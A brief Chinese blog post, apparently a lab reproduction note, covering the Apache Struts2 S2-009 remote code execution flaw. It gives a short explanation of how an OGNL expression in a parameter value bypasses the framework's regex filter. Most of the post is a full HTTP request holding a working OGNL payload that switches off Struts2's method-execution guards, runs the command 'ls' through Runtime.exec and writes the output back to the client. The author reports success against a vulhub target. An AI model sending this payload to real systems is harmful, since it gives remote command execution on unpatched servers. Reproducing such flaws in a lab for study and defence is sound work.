Apache Struts2远程代码执行漏洞(S2-009)复现总结

    科技2024-12-03  18

    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

    文章目录

    前言一、漏洞成因?二、复现1.环境搭建复现


    前言

    记录并复现下常见的struts2漏洞,加深理解

    一、漏洞成因?

    在修补了S2-003和S2-005之后,攻击者又发现了一种新的绕过ParametersInterceptor正则保护的攻击方式

    当传入(ONGL)(1)时,会将前者视为ONGL表达式来执行,从而绕过了正则的匹配保护。而且由于其在HTTP参数值中,也可以进一步绕过字符串限制的保护

    二、复现

    1.环境搭建

    因为墨者学院代币2用完了,接下来用vulhub搭建环境

    复现

    下面是复现的请求包

    GET /ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)] HTTP/1.1 Host: 192.168.0.107:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://192.168.0.107:8080/showcase.action Connection: close Cookie: JSESSIONID=DF05CDC00C92C1A30A08031065B71EF1 Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0

    成功执行ls命令

    总结 以后有时间会对struts2漏洞进行一个个代码分析

    Processed: 0.009, SQL: 8